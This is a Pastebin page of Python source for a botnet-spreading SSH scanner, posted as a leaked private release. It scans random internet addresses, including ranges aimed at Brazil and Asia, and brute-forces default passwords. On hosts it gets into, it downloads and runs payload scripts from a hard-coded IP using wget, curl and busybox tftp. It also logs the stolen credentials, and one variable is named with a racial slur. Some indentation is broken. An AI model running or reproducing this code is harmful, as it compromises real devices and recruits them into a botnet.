Advertisement
ThaRealUDP

xodia.py Telnet Scanner (Private Release Leaked)

Oct 18th, 2016
1,131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.13 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. blacklist = [
  7.     '127'
  8. ]
  9.  
  10. passwords = [
  11.     "admin:admin"
  12. ]
  13.  
  14. if sys.argv[4] == '1':
  15.      passwords = ["root:root"]
  16. if sys.argv[4] == '2':
  17.      passwords = ["guest:guest"]
  18. if sys.argv[4] == '3':
  19.      passwords = ["admin:1234"]
  20. if sys.argv[4] == '4':
  21.      passwords = ["telnet:telnet","root:root","ubnt:ubnt"]
  22.  
  23. print "\x1b[0;31m*************************\x1b[0m"
  24. print "\x1b[0;31m*  Welcome To Chuckys  *\x1b[0m"
  25. print "\x1b[0;31m*      Scanner on!!     *\x1b[0m"
  26. print "\x1b[0;31m*************************\x1b[0m"
  27. print "\x1b[0;36mMade By Chucky\x1b[0m"
  28.  
  29. ipclassinfo = sys.argv[2]
  30. if ipclassinfo == "A":
  31.     ip1 = sys.argv[3]
  32. elif ipclassinfo == "B":
  33.     ip1 = sys.argv[3].split(".")[0]
  34.     ip2 = sys.argv[3].split(".")[1]
  35. elif ipclassinfo == "C":
  36.     ips = sys.argv[3].split(".")
  37.     num=0
  38.     for ip in ips:
  39.         num=num+1
  40.         if num == 1:
  41.             ip1 = ip
  42.         elif num == 2:
  43.             ip2 = ip
  44.         elif num == 3:
  45.             ip3 = ip
  46. class sshscanner(threading.Thread):
  47.     global passwords
  48.     global ipclassinfo
  49.     if ipclassinfo == "A":
  50.         global ip1
  51.     elif ipclassinfo == "B":
  52.         global ip1
  53.         global ip2
  54.     elif ipclassinfo == "C":
  55.         global ip1
  56.         global ip2
  57.         global ip3
  58.     def run(self):
  59.         while 1:
  60.             try:
  61.                 while 1:
  62.                     thisipisbad='no'
  63.                     if ipclassinfo == "A":
  64.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  65.                     elif ipclassinfo == "B":
  66.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  67.                     elif ipclassinfo == "C":
  68.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  69.                     elif ipclassinfo == "BRAZIL":
  70.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  71.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "ER":
  73.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  74.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  75.                     elif ipclassinfo == "LUCKY":
  76.                         lucky = ["125.27","101.109","113.53","118.173","122.170","122.180"]
  77.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78.                     elif ipclassinfo == "LUCKY2":
  79.                         lucky2 = [ "122.3","122.52","122.54","119.93" ]
  80.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  81.             elif ipclassinfo == "LUCKY3":
  82.                         lucky2 = [ "103.20","103.30","103.47","103.57" ]
  83.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  84.                     elif ipclassinfo == "RAND":
  85.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86.                     elif ipclassinfo == "INTERNET":
  87.                         lol = ["1"]
  88.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  89.                     else:
  90.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  91.                     for badip in blacklist:
  92.                         if badip in self.host:
  93.                             thisipisbad='yes'
  94.                     if thisipisbad=='no':
  95.                         break
  96.                 username='root'
  97.                 password=""
  98.                 port = 22
  99.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  100.                 s.settimeout(3)
  101.                 s.connect((self.host, port))
  102.                 s.close()
  103.                 ssh = paramiko.SSHClient()
  104.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  105.                 dobreak=False
  106.                 for passwd in passwords:
  107.                     if ":n/a" in passwd:
  108.                         password=""
  109.                     else:
  110.                         password=passwd.split(":")[1]
  111.                     if "n/a:" in passwd:
  112.                         username=""
  113.                     else:
  114.                         username=passwd.split(":")[0]
  115.                     try:
  116.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  117.                         dobreak=True
  118.                         break
  119.                     except:
  120.                         pass
  121.                     if True == dobreak:
  122.                         break
  123.                 badserver=True
  124.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  125.                 output = stdout.read()
  126.                 if "inet addr" in output:
  127.                     badserver=False
  128.                 if badserver == False:
  129.                         print '\x1b[0;31mPOISONING \x1b[0;37m'+self.host+' \x1b[0;36m'+username+' \x1b[0;31m'+password+' \x1b[0;37m'+str(port)
  130.             ssh.exec_command("cd /tmp; wget http://199.180.133.149/bins.sh || curl -O http://199.180.133.149/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 199.180.133.149 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 199.180.133.149; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh")
  131.             nigger = open("xodiabot.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  132.                         time.sleep(15)
  133.                         ssh.close()
  134.             except:
  135.                 pass
  136.  
  137. for x in range(0,1500):
  138.     try:
  139.         t = sshscanner()
  140.         t.start()
  141.     except:
  142.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement